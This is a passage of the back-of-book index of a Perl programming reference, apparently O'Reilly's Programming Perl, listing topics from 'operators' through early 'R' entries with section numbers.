assignment operators: 1.5.3. Assignment Operators
associativity of: 3. Unary and Binary Operators
C language, missing in Perl: 3.21. C Operators Missing from Perl
for loop control: 4.4.4. Loop Control
logical operators: 1.5.5. Logical Operators
matching and substitution: 5. Pattern Matching
overloadable: 13.3. Overloadable Operators
arithmetic operators: 13.3. Overloadable Operators
assignment operators: 13.3. Overloadable Operators
bitwise operators: 13.3. Overloadable Operators
circular references, problems with: 13.3. Overloadable Operators
comparison operators: 13.3. Overloadable Operators
conversion operators: 13.3. Overloadable Operators
dereference operators: 13.3. Overloadable Operators
iterative operator: 13.3. Overloadable Operators
logical negation operator: 13.3. Overloadable Operators
overloading: 3. Unary and Binary Operators
13. Overloading
32.1.1. Data Types
pattern-matching: 5.2. Pattern-Matching Operators
modifiers for: 5.2.1. Pattern Modifiers
positions or lengths, switching to character positions: 15.2. Effects of Character Semantics
precedence of: 1.5.1. Some Binary Arithmetic Operators
3. Unary and Binary Operators
C precedence, retaining in Perl: 3. Unary and Binary Operators
quotes, syntactical similarity to: 1.2.1.1. Singularities
quoting operators: 2.6.3. Pick Your Own Quotes
scalar context, supplying to parameters: 1.2.1.1. Singularities
string operators: 1.5.2. String Operators
verbs as: 1.2.2. Verbs
ops module: 32.1.12. Authentication, Security, and Encryption
optimizing
in the Perl compiler: 18.2. Compiling Your Code
performance and: 24.2. Efficiency
option processing, Perl modules for: 32.1.3. Option, Argument, Parameter, and Configuration File Processing
22.1. The CPAN modules Directory
options (see switches, command-line)
19.1.3. Switches
OR (||) operator: 3.14. C-Style Logical (Short-Circuit) Operators
list operators and: 4.7. Global Declarations
OR logical operator: 1.5.5. Logical Operators
Or operator: 1.5.5. Logical Operators
ord function: 15.2. Effects of Character Semantics
29.2.106. ord
order (see precedence)
of function precedence: 29. Functions
ornaments option (debugger): 20.3.3. Debugger Options
OS/2 operating system, invoking Perl applications on: 19.1.1. #! and Quoting on Non-Unix Systems
OSBC, Perl modules for: 22.1. The CPAN modules Directory
$OS_ERROR: 28.2. Special Variables in Alphabetical Order
$OSNAME: 28.2. Special Variables in Alphabetical Order
our declarations: 2.5.1. Name Lookups
4. Statements and Declarations
29.2.107. our
context rules and: 2.7.1. Scalar and List Context
global variables, lexically scoped: 4.8.3. Lexically Scoped Global Declarations: our
our function: 4.8.1. Scoped Variable Declarations
4.8.2. Lexically Scoped Variables: my
29.2.107. our
out of memory errors: 28.2. Special Variables in Alphabetical Order
output: 29.2.38. fileno
(see also STDOUT filehandle)
array and hash, changing style (debugger): 20.3.3. Debugger Options
checking file descriptors for: 29.2.141. select (ready file descriptors)
debugger, setting: 20.4. Unattended Execution
field separator (see $, variable)
files, open mode for: 29.2.104. open
format output accumulator: 29.2.42. formline
functions dealing with: 29.1. Perl Functions by Category
ioctl function: 29.2.77. ioctl
pipes: 16.3. Pipes
16.3. Pipes
bidirectional: 16.3.3. Bidirectional Communication
filtering: 16.3.2. Talking to Yourself
STDOUT as pipe to another program: 16.3.1. Anonymous Pipes
tridirectional: 16.3.3. Bidirectional Communication
record separator (see $\ variable)
selecting filehandles for: 29.2.140. select (output filehandle)
XSUBs: 21.3.3. XSUB Input and Output
output filehandles: 1.4. Filehandles
1.4. Filehandles
output record formats, declaring: 7. Formats
$OUTPUT_AUTOFLUSH: 28.2. Special Variables in Alphabetical Order
$OUTPUT_FIELD_SEPARATOR: 28.2. Special Variables in Alphabetical Order
$OUTPUT_RECORD_SEPARATOR: 28.2. Special Variables in Alphabetical Order
overloading, mathematical functions: 13.3. Overloadable Operators
overload handlers: 13.2. Overload Handlers
overloaded, functions: 2.7.1. Scalar and List Context
Overloaded (overload::Overloaded): 13.7. Public Overload Functions
overloaded string constants, translating text with: 5.10.4. Defining Your Own Assertions
overloading: 3. Unary and Binary Operators
13. Overloading
autogeneration of: 13.3. Overloadable Operators
13.3. Overloadable Operators
circular references, avoiding: 13.3. Overloadable Operators
constants: 13.6. Overloading Constants
copy constructor (=): 13.4. The Copy Constructor (=)
diagnostics: 13.10. Overloading Diagnostics
functions for: 13.7. Public Overload Functions
inheritance and: 13.8. Inheritance and Overloading
nonmethod and fallback: 13.5. When an Overload Handler Is Missing (nomethod and fallback)
overload module: 32.1.1. Data Types
overload pragma: 13.1. The overload Pragma
overloadable operators: 13.3. Overloadable Operators
at run time: 13.9. Run-Time Overloading
sorting and: 13.3. Overloadable Operators
stringifying: 14.4.1. Filehandle-Tying Methods
overridden methods, base class, invoking all: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
overriding, base class methods: 12.5.2. Accessing Overridden Methods
overriding functions: 11.3. Overriding Built-in Functions
overwriting existing files, race conditions and: 23.2.2. Handling Race Conditions
ownership, file: 29.2.13. chown

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

.pm files, loading associated files with: 11.1. Using Modules
\P (doesn't match property): 15.2. Effects of Character Semantics
\p (matches property): 15.2. Effects of Character Semantics
-P (C preprocessor) command-line switch: 19.1.3. Switches
-p (named pipe) file test: 3.10. Named Unary and File Test Operators
-p (print while looping) command-line switch: 19.1.3. Switches
pack: 25.2. Endianness and Number Width
pack function: 29.2.108. pack
template characters for: 29.2.108. pack
unpack function, Unicode characters and: 15.2. Effects of Character Semantics
package declaration: 4.8. Scoped Declarations
10. Packages
29.2.109. package
package variable
wrapping declaration in block scope: 12.8. Managing Class Data
storing class data in: 12.8. Managing Class Data
(see also global variables)
2.5.1. Name Lookups
4.8.1. Scoped Variable Declarations
declaring: 29.2.107. our
threads, no protection in: 17.2.2. Data Access
packages: 1.2.1.4. Simplicities
2.5. Names
2.5. Names
10. Packages
10.2. Autoloading
adding methods to existing: 12.5.2. Accessing Overridden Methods
binding variables to: 29.2.191. untie
bless function arguments: 12.4. Object Construction
blessing objects into: 29.2.7. bless
delimiters for: 10. Packages
identifiers: 10. Packages
importing semantics to: 29.2.192. use
in @ISA array, inheritance through: 12.5.1. Inheritance Through @ISA
methods and subroutines, resolving for: 12.3. Method Invocation
names for: 2.6.4. Or Leave the Quotes Out Entirely
24.3. Programming with Style
quoting: 12.3.4. Package-Quoted Classes
splitting for autoloading: 32.1.17. Module Installation Support
symbol tables, displaying: 20.3.3. Debugger Options
symbol tables for: 10.1. Symbol Tables
tying variables to: 29.2.178. tie
packed sockaddr: 29.2.54. getpeername
pads: 2.5. Names
page numbers: 28.2. Special Variables in Alphabetical Order
pager option (debugger): 20.3.3. Debugger Options
pages: 28.2. Special Variables in Alphabetical Order
PalmPilot, Perl modules for: 22.1. The CPAN modules Directory
paragraph mode: 19.1.3. Switches
28.2. Special Variables in Alphabetical Order
paragraph separator character: 2.2. Molecules
parameters (see arguments)
scalar context, providing for: 1.2.1.1. Singularities
subroutines
changing in place: 6.2.1. Tricks with Parameter Lists
working with: 6.2.1. Tricks with Parameter Lists
parent classes: 12.1. Brief Refresher on Object-Oriented Lingo
parent processes (see processes)
parse trees: 18.1. The Life Cycle of a Perl Program
18.2. Compiling Your Code
internal, keeping: 18.4. Compiler Backends
original, reconstituting and splicing into current parse tree: 18.5.1. The Bytecode Generator
reconstruction of: 18.1. The Life Cycle of a Perl Program
parsing: 21.1. How Perl Works
double-quote interpolation and regular expressions: 5.2. Pattern-Matching Operators
in the Perl compiler: 18.2. Compiling Your Code
text, Perl modules for: 22.1. The CPAN modules Directory
passing by reference: 6.2. Semantics
prototypes declaring function calls as: 8.1. What Is a Reference?
copying @_ values to my list: 6.2.1. Tricks with Parameter Lists
passing references: 6.3. Passing References
passwords: 29.2.164. srand
crypt function and: 29.2.20. crypt
passwd file: 29.2.61. getpwent
Perl modules for: 22.1. The CPAN modules Directory
PATH environment variable: 1.3.1. How to Do It
19.1.3. Switches
19.2. Environment Variables
security and: 23.1.2. Cleaning Up Your Environment
path for library searches, %INC: 28.2. Special Variables in Alphabetical Order
pathnames, module installed on Windows system: 11.1. Using Modules
pattern-binding operator: 1.7. Regular Expressions
pattern space: 28.2. Special Variables in Alphabetical Order
patterns
autosplitting via -a switch: 19.1.3. Switches
debugger, commands for matching: 20.2.5. Locating Code
fancy patterns: 5.10.1. Lookaround Assertions
replacements, changes in Perl versions: 24.1.5. Previous Perl Traps
patterns (and regular expressions): 1.7. Regular Expressions
5. Pattern Matching
29.2.92. m//
(see also m// operator[semi] m?? operator)
alphanumeric metasymbols: 5.3.1. Metasymbol Tables
assertions, defining your own: 5.10.4. Defining Your Own Assertions
assertions in: 5.1. The Regular Expression Bestiary
backreferences: 1.7.4. Backreferences
5.7.1. Capturing
capturing in: 5.7. Capturing and Clustering
character classes: 1.7. Regular Expressions
5.4. Character Classes
characters in: 5.1. The Regular Expression Bestiary
clustering in: 5.7.2. Clustering
conditional interpolation in: 5.10.3.5. Conditional interpolation
controlling matching: 5.9. Staying in Control
Perl flow control, deciding pattern execution: 5.9.1. Letting Perl Do the Work
regex compiler: 5.9.3. The Regex Compiler
extension syntax: 5.3.1. Metasymbol Tables
extensions, lookaround assertions: 5.10.1. Lookaround Assertions
finding duplicate words in paragraphs: 5.2.1. Pattern Modifiers
functions for matching: 29.1. Perl Functions by Category
generated: 5.10.3.1. Generated patterns
greedy matching: 1.7.1. Quantifiers
5.9.4. The Little Engine That /Could(n't)?/
grep function and: 29.2.72. grep
match-time code evaluation: 5.10.3.3. Match-time code evaluation
match-time pattern interpolation: 5.10.3.4. Match-time pattern interpolation
matching
operators for: 1.7. Regular Expressions
5.2. Pattern-Matching Operators
special variables for: 5.2. Pattern-Matching Operators
5.2.3. The s/// Operator (Substitution)
substrings corresponding to subpatterns: 5.2. Pattern-Matching Operators
matching precedence: 5.9.4. The Little Engine That /Could(n't)?/
metacharacters and metasymbols in: 5.3. Metacharacters and Metasymbols
metasymbols in: 5.3.2. Specific Characters
minimal matching: 1.7.2. Minimal Matching
modifiers, cloistering: 5.7.3. Cloistered Pattern Modifiers
modifiers for: 5.2.1. Pattern Modifiers
Perl code, interjecting into: 5.10.3. Programmatic Patterns
positions for matching: 5.6. Positions
programming style for: 5.10.3. Programmatic Patterns
quantifiers in: 5.1. The Regular Expression Bestiary
5.3.1. Metasymbol Tables
5.5. Quantifiers
5.9.4. The Little Engine That /Could(n't)?/
quotes in: 2.6.3. Pick Your Own Quotes
re pragma, altering default behavior of: 32.1.13. Perl Language Extensions and Internals
recursive matching: 5.10.3.4. Match-time pattern interpolation
security concerns: 23.3.2. Code Masquerading as Data
split function: 29.2.161. split
split function and: 5.2. Pattern-Matching Operators
study function: 29.2.166. study
substitution evaluation: 5.10.3.2. Substitution evaluations
terminating delimiter for: 5.2. Pattern-Matching Operators
Unicode properties, matching on: 15.2. Effects of Character Semantics
for untainting data: 23.1.1. Detecting and Laundering Tainted Data
PAUSE: 22.3. Creating CPAN Modules
pausing scripts: 29.2.156. sleep
PDL (Perl Data Language): 22.1. The CPAN modules Directory
performance: 0.1. The Pursuit of Happiness
measuring: 29.2.181. times
Perl programs, efficiency in: 24.2. Efficiency
period (see . (dot))
Perl
C, extending with
XSUB input and output: 21.3.3. XSUB Input and Output
C, using from: 21.3. Extending Perl (Using C from Perl)
creating extensions: 21.3.2. Creating Extensions
external C library functions, using: 21.3.4. Using Functions from an External C Library
XSUBs and XS language: 21.3.1. XS and XSUBs
CPAN (Comprehensive Perl Archive Network): 22. CPAN
embedding in C: 21.4. Embedding Perl (Using Perl from C)
compiling embedded programs: 21.4.1. Compiling Embedded Programs
Perl interpreter, adding to C program: 21.4.2. Adding a Perl Interpreter to Your C Program
Perl stack, manipulating from C: 21.4.5. Fiddling with the Perl Stack from C
Perl statement, evaluating from C: 21.4.4. Evaluating a Perl Statement from C
Perl subroutine, calling from C: 21.4.3. Calling a Perl Subroutine from C
extensions and internals, modules for: 32.1.13. Perl Language Extensions and Internals
location of: 19.1.2. Location of Perl
models to interface or emulate other languages: 22.1. The CPAN modules Directory
programming, common practices: 24. Common Practices
programs, life cycle of: 18.1. The Life Cycle of a Perl Program
special characters in: 1.2.1. Variable Syntax
thread programming in: 17.2. The Thread Model
use of Unicode, caveats on: 15.3. Caution, [ren2bold] Working
Perl Data Language (PDL) module: 9.1.4. Slices
Perl, history of: 27.1. History Made Practical
Perl interpreter: 1.3.1. How to Do It
18.1. The Life Cycle of a Perl Program
-a switch: 19.1.3. Switches
-c switch: 19.1.3. Switches
-d switch: 19.1.3. Switches
20. The Perl Debugger
-e switch: 1.3.1. How to Do It
19.1.3. Switches
-F switch: 19.1.3. Switches
19.1.3. Switches
-h switch: 19.1.3. Switches
-- switch: 19.1.3. Switches
-I switch: 19.1. Command Processing
19.1.3. Switches
-l switch: 19.1.3. Switches
-m switch: 19.1.3. Switches
-n switch: 19.1.3. Switches
-p switch: 19.1.3. Switches
-s switch: 19.1.3. Switches
20. The Perl Debugger
switches: 19.1.3. Switches
-T switch: 19.1.3. Switches
-u switch: 19.1.3. Switches
-v switch: 19.1.3. Switches
-w switch: 1.3.1. How to Do It
19.1.3. Switches
-x switch: 19.1. Command Processing
19.1.3. Switches
-0 switch: 19.1. Command Processing
19.1.3. Switches
perl interpreter program
-a switch: 28.2. Special Variables in Alphabetical Order
-d switch: 20.6. The Perl Profiler
sticky bit: 24.2.1. Time Efficiency
-T switch: 16.5.2. Networking Servers
23.1. Handling Insecure Data
-w switch: 33. Diagnostic Messages
Perl library: 22.2.3. Installing CPAN Modules into the Perl Library
Perl virtual machine: 18.3. Executing Your Code
18.3. Executing Your Code
perlapi manpage: 21.4.4. Evaluating a Perl Statement from C
perlcall manpage: 21.4.5. Fiddling with the Perl Stack from C
perlcc: 28.2. Special Variables in Alphabetical Order
perlcc command: 18.4. Compiler Backends
pbyscript resulting from: 18.5.1. The Bytecode Generator
$PERLDB: 28.2. Special Variables in Alphabetical Order
PERL5DB environment variable: 19.2. Environment Variables
debugger, customizing with: 20.3.2. Customizing with Init Files
PERLDB_OPTS environment variable
AutoTrace option, tracing compile-phase statements: 20.1. Using the Debugger
debugger customization via: 20.3. Debugger Customization
PERL_DEBUG_MSTATS environment variable: 19.2. Environment Variables
PERL_DESTRUCT_LEVEL environment variable: 19.2. Environment Variables
PERL_DESTRUCT_LEVEL variable: 12.6.1. Garbage Collection with DESTROY Methods
perldoc command: 0.4. Online Documentation
11. Modules
debugger invoking: 20.2.7. Miscellaneous Commands
perlembed manpage: 21.4. Embedding Perl (Using Perl from C)
eval_sv function, demonstrating: 21.4.4. Evaluating a Perl Statement from C
perlfork documentation: 16. Interprocess Communication
PERL5LIB environment variable: 19.2. Environment Variables
perllocale manpage: 29.2.82. lc
perlmodinstall manpage: 22.2. Using CPAN Modules
PERL5OPT environment variable: 19.2. Environment Variables
perlport documentation: 16. Interprocess Communication
PERL5SHELL environment variable: 19.2. Environment Variables
Perl/Tk: 24.2.6. User Efficiency
Perl modules for: 22.1. The CPAN modules Directory
$PERL_VERSION: 28.2. Special Variables in Alphabetical Order
28.2. Special Variables in Alphabetical Order
perlwin32 documentation: 16. Interprocess Communication
permissions: 29.2.171. sysopen
29.2.186. umask
file permission operators, interpreting: 3.10. Named Unary and File Test Operators
users, granting limited: 23.1. Handling Insecure Data
persistent data structures, providing via tie: 14.6. Tie Modules on CPAN
persistent Perl interpreter: 21.4. Embedding Perl (Using Perl from C)
pi: 29.2.4. atan2
picture lines: 7. Formats
29.2.41. format
pid (see processes)
PID (process ID): 28.2. Special Variables in Alphabetical Order
pipe function: 29.2.110. pipe
portability of: 25.5. Interprocess Communication (IPC)
pipelines
multistage, for input: 16.3.1. Anonymous Pipes
multistage, for output: 16.3.1. Anonymous Pipes
pipes
closing: 29.2.16. close
double-ended, opening with tied filehandle: 14.4.2. Creative Filehandles
in interprocess communication: 16.3. Pipes
named pipes: 16.3.4. Named Pipes
process talking to itself: 16.3.2. Talking to Yourself
IO::Pipe module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
open function, security risks posed by: 23.1.2. Cleaning Up Your Environment
read-only filehandles, opening: 29.2.104. open
plain old documentation (see pod)
pluralities: 1.2.1.2. Pluralities
.pm file extension: 10. Packages
pod
directives: 26.1.2. Pod Directives
embedding in Perl: 2.2. Molecules
format: 26. Plain Old Documentation
modules: 26.2. Pod Translators and Modules
Perl modules for: 22.1. The CPAN modules Directory
translators: 26.1. Pod in a Nutshell
26.2. Pod Translators and Modules
Pod::Checker module: 32.1.16. Documentation Support
Pod::Functions module: 32.1.16. Documentation Support
Pod::Html module: 32.1.16. Documentation Support
Pod::InputObjects module: 32.1.16. Documentation Support
Pod::Man module: 32.1.16. Documentation Support
Pod::Parser module: 32.1.16. Documentation Support
Pod::Select module: 32.1.16. Documentation Support
Pod::Text module: 32.1.16. Documentation Support
Pod::Text::Termcap module: 32.1.16. Documentation Support
Pod::Usage module: 32.1.16. Documentation Support
POE (Perl Object Environment): 22.1. The CPAN modules Directory
poetry in Perl: 27.2. Perl Poetry
pointers: 2.3. Built-in Data Types
references, unable to convert to: 2.6. Scalar Values
to strings: 29.2.108. pack
pointers (C language): 8. References
poll function: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
polluting your namespace: 11.2.1. Module Privacy and the Exporter
polymorphism: 12.1. Brief Refresher on Object-Oriented Lingo
pop function: 9. Data Structures
29.2.111. pop
POP method: 14.2.1. Array-Tying Methods
popen function (C language): 21.4. Embedding Perl (Using Perl from C)
portability
Perl programs: 25. Portable Perl
of files and filesystems: 25.3. Files and Filesystems
functions, information on: 29.2. Perl Functions in Alphabetical Order
scripts using gethostent function: 29.2.49. gethostent
of signals: 25.4. System Interaction
porting, information on: 16. Interprocess Communication
porting, efficiency of: 24.2.5. Porter Efficiency
name/number translations for: 29.2.64. getservbyname
Perl, to operating systems: 22. CPAN
pos function: 5.6.4. Progressive Matching
5.6.5. Where You Left Off: The \G Assertion
29.2.112. pos
positional assertions: 5.6.5. Where You Left Off: The \G Assertion
ordering of matching, changing with: 5.8. Alternation
positions: 5.6. Positions
beginnings of strings, matching: 5.6.1. Beginnings: The \A and ^ Assertions
ends of strings, matching: 5.6.2. Endings: The \z, \Z, and $ Assertions
operators switching to character positions: 15.2. Effects of Character Semantics
position just after previous match, specifying: 5.6.5. Where You Left Off: The \G Assertion
precedence in pattern matching: 5.9.4. The Little Engine That /Could(n't)?/
substr function, manipulating with: 5.6. Positions
word boundaries, matching: 5.6.3. Boundaries: The \b and \B Assertions
positive lookahead assertions: 5.9.4. The Little Engine That /Could(n't)?/
5.10.1. Lookaround Assertions
POSIX classes: 5.4. Character Classes
POSIX module: 32.1.7. Operating System Interfaces
getattr function: 29.2.43. getc
getting exported functions and variables with: 11.1. Using Modules
signal blocking with: 16.1.4. Blocking Signals
strftime function: 29.2.88. localtime
POSIX-style character classes: 5.4.4. POSIX-Style Character Classes
possible matches, specifying set of: 5.8. Alternation
post-incremented (post-decremented) variables: 1.5.4. Unary Arithmetic Operators
postincrement and postdecrement operators: 3. Unary and Binary Operators
$POSTMATCH: 28.2. Special Variables in Alphabetical Order
Postscript, Perl modules for: 22.1. The CPAN modules Directory
PPM (Perl Package Manager): 22.2. Using CPAN Modules
22.2. Using CPAN Modules
pragmas: 1.2.1.4. Simplicities
4.7. Global Declarations
4.9. Pragmas
10. Packages
19.1.3. Switches
29.2.192. use
lexically scoped: 4.9. Pragmas
modules and: 11.1. Using Modules
names, capitalization in: 2.5. Names
use charnames: 2.6.2. String Literals
pre-extending arrays: 24.2.1. Time Efficiency
pre-incremented (pre-decremented) variables: 1.5.4. Unary Arithmetic Operators
precedence: 29. Functions
diagnostic messages: 33. Diagnostic Messages
key/value pair (hashes): 2.9. Hashes
logical operators: 1.5.5. Logical Operators
3.20. Logical and, or, not, and xor
12.3.3. Syntactic Snafus with Indirect Objects
modifiers vs. commas: 4.8.1. Scoped Variable Declarations
operator, table of: 3. Unary and Binary Operators
Perl versions, changes in: 24.1.5. Previous Perl Traps
regular expression matching: 5.9.4. The Little Engine That /Could(n't)?/
unary operators, higher than binary: 3.10. Named Unary and File Test Operators
predeclaring subroutines: 12.5.4. Method Autoloading
32.1.13. Perl Language Extensions and Internals
prefix operators: 1.5. Operators
3. Unary and Binary Operators
metacharacters working as: 5.3. Metacharacters and Metasymbols
$PREMATCH: 28.2. Special Variables in Alphabetical Order
prepending, directories to @INC: 19.1.3. Switches
prepending elements to arrays: 29.2.190. unshift
preprocessing Perl: 24.5.2. Generating Perl in Other Languages
print function: 1.4. Filehandles
1.8. List Processing
24.2.1. Time Efficiency
24.2.1. Time Efficiency
29.2.113. print
implementing to tied filehandle: 14.4.1. Filehandle-Tying Methods
print statements, comma error in: 24.1.1. Universal Blunders
printf function: 3.16. Conditional Operator
24.2.1. Time Efficiency
29.2.114. printf
29.2.162. sprintf
using on tied filehandle: 14.4.1. Filehandle-Tying Methods
printing
arrays of hashes: 9.3.3. Access and Printing of an Array of Hashes
hashes of arrays: 9.2.3. Access and Printing of a Hash of Arrays
multidimensional arrays: 9.1.3. Access and Printing
9.2. Hashes of Arrays
9.4. Hashes of Hashes
multidimensional hashes: 9.4.3. Access and Printing of a Hash of Hashes
9.6.1. Composition, Access, and Printing of More Elaborate Records
nested data structures: 20.2.4. Display
typeglob contents: 20.3.3. Debugger Options
PrintRet option (debugger): 20.3.3. Debugger Options
priority, process: 29.2.57. getpriority
29.2.147. setpriority
privacy: 12.1. Brief Refresher on Object-Oriented Lingo
Perl modules and: 11.2.1. Module Privacy and the Exporter
private methods, ignoring inheritance with: 12.5.5. Private Methods
private objects, closures, using for: 12.7.5. Using Closures for Private Objects
private variables (see local variables)
procedureal programming style: 5.10.3. Programmatic Patterns
procedures: 1.2.2. Verbs
process groups: 16.1. Signals
29.2.55. getpgrp
29.2.146. setpgrp
process ID (pid)
getting process group from: 29.2.55. getpgrp
returning: 29.2.56. getppid
returning with fork: 29.2.40. fork
waitpid function: 29.2.197. waitpid
processes
checking for existence: 16.1.1. Signaling Process Groups
fork function: 29.2.40. fork
functions dealing with: 29.1. Perl Functions by Category
getting group for: 29.2.146. setpgrp
ID (pid): 29.2.104. open
interprocess communication: 16. Interprocess Communication
between processes on same machine: 16. Interprocess Communication
files: 16.2. Files
on the Internet: 16. Interprocess Communication
sockets: 16.5. Sockets
System V IPC: 16.4. System V IPC
killing: 29.2.80. kill
multitasking environments, CPU access: 23.2. Handling Timing Glitches
priority, setting: 29.2.147. setpriority
process model, threads: 17.1. The Process Model
returning priority of: 29.2.57. getpriority
signaling process groups: 16.1.1. Signaling Process Groups
standard input, output, and error in: 1.4. Filehandles
umask for: 29.2.186. umask
variables for: 28.2. Special Variables in Alphabetical Order
waiting for: 29.2.196. wait
zombie: 16.1.2. Reaping Zombies
$PROCESS_ID: 28.2. Special Variables in Alphabetical Order
processing shell commands: 19.1. Command Processing
processor (see CPU)
profiler, Perl: 20.6. The Perl Profiler
profiling, Devel::DProf module: 32.1.13. Perl Language Extensions and Internals
program arguments, shell vs. Perl: 24.1.4. Shell Traps
program name
of perl executable: 28.2. Special Variables in Alphabetical Order
of perl script: 28.2. Special Variables in Alphabetical Order
programming languages, Perl modules for interfacing with or emulating: 22.1. The CPAN modules Directory
programming, Perl: 24. Common Practices
common mistakes by novices, Perl traps, previous versions: 24.1.5. Previous Perl Traps
common mistakes of novices: 24.1. Common Goofs for Novices
efficiency: 24.2. Efficiency
file-manipulating programs, writing portable: 25.3. Files and Filesystems
fluent: 24.4. Fluent Perl
portability: 25. Portable Perl
program generation: 24.5. Program Generation
generating Perl in other languages: 24.5.2. Generating Perl in Other Languages
program generators
other languages in Perl: 24.5.1. Generating Other Languages in Perl
source filters: 24.5.3. Source Filters
programming with style: 24.3. Programming with Style
programming style, patterns: 5.10.3. Programmatic Patterns
$PROGRAM_NAME: 28.2. Special Variables in Alphabetical Order
programs
controlling debugger from: 20.1. Using the Debugger
core dump of: 29.2.29. dump
executing: 29.2.174. system
exiting: 1.1. Getting Started
29.2.35. exit
stepping through with debugger: 20.2.1. Stepping and Running
progressive matching: 5.6.5. Where You Left Off: The \G Assertion
projects, large, benefits of strict pragma in: 1.2.1.4. Simplicities
properties: 12.4.2. Initializers
case, Unicode: 15.2. Effects of Character Semantics
Unicode: 5.4. Character Classes
Unicode database of: 15.2. Effects of Character Semantics
protocols, name/number translations: 29.2.58. getprotobyname
prototypes: 6.4. Prototypes
& (ampersand), omitting from subroutine names: 6.4. Prototypes
built-in functions, emulating: 6.4. Prototypes
careful use of: 6.4.2. Care with Prototypes
closures, giving to: 8.3.7.1. Closures as function templates
implicit pass-by-reference in: 8.1. What Is a Reference?
inlining constant functions: 6.4.1. Inlining Constant Functions
prototyping: 6.4. Prototypes
pseudo-operators, overloading and: 13.3. Overloadable Operators
pseudocommands, piping: 16.3.2. Talking to Yourself
pseudohashes: 8.3.5. Pseudohashes
implementing classes with: 29.2.99. my
inheritance and: 12.7.1. Field Declarations with use fields
simulating with overload function: 13.3. Overloadable Operators
use fields pragma, using with: 12.7.1. Field Declarations with use fields
pseudoliterals (see input operators)
punctuation characters, word boundary matching and: 5.6.3. Boundaries: The \b and \B Assertions
punctuation variables, English module, handling with: 32.1.13. Perl Language Extensions and Internals
push function: 9. Data Structures
29.2.116. push
pop function: 2.3. Built-in Data Types
push-pop (PP) codes: 18.3. Executing Your Code
PV (internal string value): 21.2. Internal Data Types
pwd command (Unix): 24.2.1. Time Efficiency
Python: 2.2. Molecules

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

q// (pattern match) operator: 13.6. Overloading Constants
qr// (quote regex) operator: 2.7.4. Interpolative Context
5.2. Pattern-Matching Operators
5.9.2.2. The qr// quote regex operator
modifiers for: 5.2.1. Pattern Modifiers
Qt, Perl modules for: 22.1. The CPAN modules Directory
quantifiers: 1.7. Regular Expressions
1.7.1. Quantifiers
24.2.1. Time Efficiency
atoms and: 5.9.4. The Little Engine That /Could(n't)?/
greedy: 5.5. Quantifiers
in matches, dot (.) metacharacter, using with: 5.3.3. Wildcard Metasymbols
in matching: 5.5. Quantifiers
character classes and: 5.4.1. Custom Character Classes
minimal and maximal: 5.3.1. Metasymbol Tables
minimal and maximal: 5.5. Quantifiers
quantifiers (in matching): 5.1. The Regular Expression Bestiary
5.3.1. Metasymbol Tables
quarantining suspicious code: 23.3. Handling Insecure Code
queues: 9. Data Structures
queues, Thread::Queue module: 17.2.3.1. Queues
quit signals, handler for: 16.1. Signals
quitting
infinite loop: 4.4.2. for Loops
Perl debugger: 20.2.7. Miscellaneous Commands
quotation marks: 8.5. Braces, Brackets, and Quoting
(see also " (double quotes) and ' (single quotes) under Symbols)
in braces: 2.6.2. String Literals
double ("): 5.2. Pattern-Matching Operators
in formline arguments: 29.2.42. formline
interpolative context: 2.7.4. Interpolative Context
leaving out: 2.6.4. Or Leave the Quotes Out Entirely
line-oriented quoting: 2.6.6. "Here" Documents
on non-Unix systems: 19.1.1. #! and Quoting on Non-Unix Systems
quoting operators: 2.6.3. Pick Your Own Quotes
strings, changing style of string display: 20.3.3. Debugger Options
strings and: 2.6.2. String Literals
quote operators: 3.1. Terms and List Operators (Leftward)
quoted execution operator (see ` (backtick) operator)
quotemeta function: 29.2.118. quotemeta
quotes, strings, use in: 1.2.1.1. Singularities
quoting, packages: 12.3.4. Package-Quoted Classes
quoting, line oriented: 2.6.6. "Here" Documents
quoting mechanisms: 1.2.1.1. Singularities
qw operator: 2.6.4. Or Leave the Quotes Out Entirely
qw (quote words): 2.8. List Values and Arrays
qx// (quote construct) operator: 29.2.124. readpipe
qx// (quoted execution) operator: 2.7.4. Interpolative Context
2.11.1. Command Input (Backtick) Operator
2.11.1. Command Input (Backtick) Operator
(see also ` (backtick) operator)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

-r (readable by effective uid/gid) file test: 1.5.7. Some File Test Operators
3.10. Named Unary and File Test Operators
-R (readable by real uid/gid file test: 3.10. Named Unary and File Test Operators
race conditions
file locking and: 16.2.1. File Locking
handling: 23.2.2. Handling Race Conditions
rand function: 3.1. Terms and List Operators (Leftward)
29.2.119. rand
random numbers: 29.2.119. rand
29.2.164. srand
producing as handles or scalars: 14.4.2. Creative Filehandles
range (.. and ...) operator: 3.15. Range Operator
ranges
character sets, specifying in: 5.2.4. The tr/// Operator (Transliteration)
characters: 5.4.1. Custom Character Classes
$rdev file statistic: 29.2.165. stat
re-initialization expressions, loops: 4.4.2. for Loops
re module: 32.1.13. Perl Language Extensions and Internals
read function: 14.4.1. Filehandle-Tying Methods
29.2.120. read
readable file test operator: 1.5.7. Some File Test Operators
3.10. Named Unary and File Test Operators
readdir function: 29.2.121. readdir
reading
data via low-level system call: 29.2.172. sysread
shared memory segment ID: 29.2.152. shmread
reading files
open mode and: 29.2.104. open
readline function: 2.11.2. Line Input (Angle) Operator
READLINE method: 14.4.1. Filehandle-Tying Methods
ReadLine module, disabling support to debugger: 20.4. Unattended Execution
readline packages: 32.1.11. User Interfaces
readlink function: 29.2.123. readlink
ready file descriptors: 29.2.141. select (ready file descriptors)
real GID (see $( variable)
real UID (see $< variable)
real values, testing for with defined function: 29.2.23. defined
$REAL_GROUP_ID: 28.2. Special Variables in Alphabetical Order
$REAL_USER_ID: 28.2. Special Variables in Alphabetical Order
reaping zombie processes: 16.1.2. Reaping Zombies
servers: 16.5.2. Networking Servers
recallCommand option (debugger): 20.3.3. Debugger Options
recompiling patterns, limiting with /o modifier: 5.2.1. Pattern Modifiers
record delimiter (see $/ variable)
